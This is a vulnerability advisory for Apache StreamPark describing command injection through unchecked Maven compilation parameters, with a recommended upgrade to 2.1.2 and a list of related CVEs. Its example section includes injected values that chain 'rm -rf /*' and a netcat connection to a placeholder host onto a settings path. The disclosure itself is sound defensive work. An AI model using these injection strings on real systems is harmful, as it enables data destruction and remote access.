Description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Remediation
References
https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3
Related Vulnerabilities
CVE-2016-4467 Vulnerability in maven package org.apache.qpid:proton-project
CVE-2022-45399 Vulnerability in maven package org.zeroturnaround:cluster-stats
CVE-2022-43670 Vulnerability in maven package org.apache.sling:org.apache.sling.cms
CVE-2013-7370 Vulnerability in npm package connect
CVE-2023-37963 Vulnerability in maven package io.jenkins.plugins:benchmark-evaluator